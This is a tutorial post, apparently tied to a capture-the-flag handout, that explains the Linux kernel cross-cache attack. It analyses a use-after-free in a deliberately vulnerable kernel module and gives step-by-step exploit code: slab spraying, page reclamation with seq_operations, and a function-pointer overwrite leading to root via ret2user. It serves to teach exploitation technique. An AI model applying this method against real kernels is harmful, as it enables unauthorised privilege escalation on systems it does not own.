In this post, I will explain cross-cache attack, a fundamental technique for advanced Linux kernel exploitation. Understanding this technique is important to understand other exploitation techniques, such as Dirty PageTable and DirtyCred, which I will cover in future posts. Download the handouts beforehand.
Analysis
The vulnerable LKM provides three commands: CMD_ALLOC, CMD_WRITE, and CMD_FREE. These commands are used to allocate, write to, and free objects defined as follows:
#define OBJ_SIZE 0x200
struct obj { char buf[OBJ_SIZE];};Note that obj_alloc and obj_free internally use kmem_cache_zalloc and kmem_cache_free, respectively. This means a dedicated cache is used for managing these objects:
static long obj_alloc(int id) { if (objs[id] != NULL) { return -1; } objs[id] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL); if (objs[id] == NULL) { return -1; } return 0;}static long obj_free(int id) { kmem_cache_free(obj_cachep, objs[id]); return 0;}The cache is created in module_initialize:
static int __init module_initialize(void) { if (misc_register(&vuln_dev) != 0) { return -1; } obj_cachep = KMEM_CACHE(obj, 0); if (!obj_cachep) { return -1; } return 0;}Bugs
In obj_free, objs[id], which is a reference to a freed memory region, is not cleared:
static long obj_free(int id) { kmem_cache_free(obj_cachep, objs[id]); return 0;}This results in an obvious UAF. Since we already have a write primitive, it’s natural to think about overlapping freed objects with some useful kernel objects, like struct seq_operations or struct tty_struct, to overwrite function pointers and control RIP. However, we cannot simply do this, since the objects are allocated from a dedicated cache. This is where cross-cache attack comes in.
Cross-Cache Attack
The main idea of cross-cache attack is to turn a dangling reference to an object into a dangling reference to its underlying pages. As you may know, kernel objects are allocated from slab caches, which consist of one or more slabs. Each slab is made up of 2^order pages and contains objs_per_slab objects. These values can be found in /sys/kernel/slab/<CACHE_NAME>.
When all objects in a slab are freed, underlying pages are returned to the buddy allocator if the following additional conditions are met:
- The slab is not the active slab
- The per-cpu partial slab list is full
This technique is extremely powerful. It lets us ideally overlap victim objects with any kernel object.
Exploitation
First, we allocate objs_per_slab * (cpu_partial + 1) objects to prepare cpu_partial + 1 slabs, which will later be used to fill the per-cpu partial slab list:
int objs_per_slab = 8;int cpu_partial = 52;int num_spray = objs_per_slab * (cpu_partial + 1);
for (int i = 0; i < num_spray; i++) { obj_alloc(i);}Next, we allocate one object to create a new active slab:
obj_alloc(num_spray);Next, we free the objects in the slabs obtained in the first step to fill the per-cpu partial slab list and release the underlying order-0 pages. To increase the reliability, we only free all objects in even-numbered slabs. This is because if continuous pages are freed, the buddy allocator will merge them and treat them as higher-order pages, which makes it more difficult to reclaim them later:
for (int i = 0; i < num_spray; i += objs_per_slab) { if (i % (objs_per_slab * 2) == 0) { for (int j = i; j < i + objs_per_slab; j++) { obj_free(j); } } else { obj_free(i); }}Next, we allocate a large number of struct seq_operations and make the order-0 pages freed in the previous step be used as the kmalloc-32 slabs. Since kmalloc-32 also uses order-0 pages, the attack has a high chance of success:
int seqfds[0x20];for (int i = 0; i < 0x20; i++) { seqfds[i] = open("/proc/self/stat", O_RDONLY); assert(seqfds[i] >= 0);}Finally, we use CMD_WRITE to overwrite function pointers in struct seq_operations and control RIP. Since SMAP, SMEP, KASLR, and KPTI are disabled, we can easily escalate privileges via ret2user:
char payload[0x8];*(unsigned long *)&payload = (unsigned long)escalate_privilege;
for (int i = 0; i < num_spray; i += objs_per_slab) { if (i % (objs_per_slab * 2) == 0) { obj_write(i, payload, 0x8); }}
for (int i = 0; i < 0x20; i++) { read(seqfds[i], payload, 1);}By running this exploit, we can achive root privileges and see the flag:

References
- Awarau and pql. 2022. CVE-2022-29582. https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#crossing-the-cache-boundary
- Imran Khan. 2022. Linux SLUB Allocator Internals and Debugging, Part 1 of 4. https://blogs.oracle.com/linux/post/linux-slub-allocator-internals-and-debugging-1